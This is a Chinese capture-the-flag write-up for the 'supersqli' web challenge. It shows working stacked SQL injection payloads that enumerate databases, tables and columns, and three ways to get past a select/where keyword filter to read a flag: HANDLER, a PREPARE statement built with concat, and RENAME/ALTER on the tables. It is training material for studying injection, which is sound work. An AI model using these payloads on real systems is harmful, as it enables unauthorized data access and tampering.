欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界-Web高手进阶区-supersqli(强网杯的随便注)

程序员文章站 2022-05-15 21:30:31
...

前言

此题可谓是奇技淫巧甚多,之前做过一次,不过当时没有写WP。今天偶然又看到了这个题目,打开环境发现又有些不会,因此又把这题相关的知识点和各种技巧看了一遍,写下这篇WP。

WP

首先进入环境,发现是SQL注入。我们先简单的进行一些测试,发现是字符型注入,因此加一个单引号然后后面加#来闭合,然后测试1=1,1=2,发现都可以,然后进行order by测试,发现是2。但是在进行union注入的时候出现:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

这里考虑进行大小写,内联,用注释,等等,都不行。因此这里考虑使用堆叠注入,发现成功了。
先获得数据库名称:

1';show databases; #

攻防世界-Web高手进阶区-supersqli(强网杯的随便注)
然后获得表:

0';use supersqli;show tables;#

攻防世界-Web高手进阶区-supersqli(强网杯的随便注)
再获得表中的列:

0';use supersqli;show columns from `1919810931114514`#

注意,字符串为表名操作时要加反引号。
攻防世界-Web高手进阶区-supersqli(强网杯的随便注)
这时候我们的思路很明确的,就是获得1919810931114514表中的flag列。

这里一共有三种方法:

方法一:使用handler

在MySQL中,handler也可以执行查询:

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE 

因此这样构造就可以了:

0';handler `1919810931114514` open;handler `1919810931114514` read first;#

攻防世界-Web高手进阶区-supersqli(强网杯的随便注)

方法二:使用预处理语句

首先我们需要知道下列知识:
用户变量和set语句

用户变量即用户自己定义的变量,我们可以给用户变量分配值,并且可用在任何可以正常使用标量表达式的地方。
引入用户变量之前我们必须使用set语句或select语句来定义它,然后为它赋一个值,否则变量就只有一个空值。
用户变量与连接有关。也就是说,一个客户端定义的变量不能被其它客户端看到或使用。当客户端退出时,该客户端连接的所有变量将自动释放。

set语句可用于向系统变量或用户变量赋值,针对用户变量的定义如下:

SET @var_name = expr [, @var_name = expr] ...

也可使用select语句来定义:

SELECT @var_name := expr [, @var_name = expr] ...

用户变量:以"@“开始,形式为”@var_name",以区分用户变量及列名。它可以是任何随机的,复合的标量表达式,只要其中没有列指定。
一个变量名可以由当前字符集的数字字母字符和“_”、“$”和“.”组成。缺省字符集是ISO-8859-1 Latin1;这可以用mysqld 的–default-character-set 选项更改字符集。
对于SET,可以使用=或:=来赋值,对于SELECT只能使用:=来赋值。
我们可以使用一条简单的select语句查询定义的用户变量的值。

Prepare语句:

prepare语句利用客户端/服务器二进制协议。 它将包含占位符(?)的查询传递给MySQL服务器,如下例所示:

SELECT * 
FROM products 
WHERE productCode = ?;
SQL

当MySQL使用不同的productcode值执行此查询时,不必完全解析查询。 因此,这有助于MySQL更快地执行查询,特别是当MySQL多次执行查询时。 因为prepare语句使用占位符(?),这有助于避免SQL注入的问题,从而使您的应用程序更安全一些。

我们来看一下使用MySQL PREPARE语句的例子。

PREPARE stmt1 FROM 'SELECT productCode, productName
                    FROM products
                    WHERE productCode = ?';

SET @pc = 'S10_1678';
EXECUTE stmt1 USING @pc;

DEALLOCATE PREPARE stmt1;
SQL

首先,使用PREPARE语句准备执行语句。我们使用SELECT语句根据指定的产品代码从products表查询产品数据。然后再使用问号(?)作为产品代码的占位符。

为了使用MySQL准备语句,您需要使用其他三个MySQL语句如下:

  • PREPARE - 准备执行的声明。
  • EXECUTE - 执行由PREPARE语句定义的语句。
  • DEALLOCATE PREPARE - 发布PREPARE语句。

接下来,声明了一个产品代码变量@pc,并将其值设置为S10_1678

然后,使用EXECUTE语句来执行产品代码变量@pc的准备语句。

最后,我们使用DEALLOCATE PREPARE来发布PREPARE语句。

因此这题我们可以这样来进行注入:

0';set @sql=concat('sele','ct `flag` from `1919810931114514`');PREPARE stmt1 from @sql;EXECUTE stmt1;#

使用concat()连接字符串,来绕过select的过滤。

方法三:使用rename和alter

我们使用rename和alter这两个命令来更改表名和字段名。因为我们可以访问words里的columns,发现id,也就是说我们输入的1默认是查询words这个表的。因此我们可以把words表改名成words1表,把1919810931114514表改名成words,然后再把1919810931114514里面的flag字段改名成id,然后输入1’ or 1=1#就可以成功得到flag了。
具体构造如下:

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

后记

这题考察的点是SQL注入,主要考察了堆叠注入,我们根据三种方法分别可以学会使用handler,预编译语句和重命名这三种方法,可以说是收获满满。不过由于用到的比较少,因此一段时间没用就容易忘,还需要多多复习。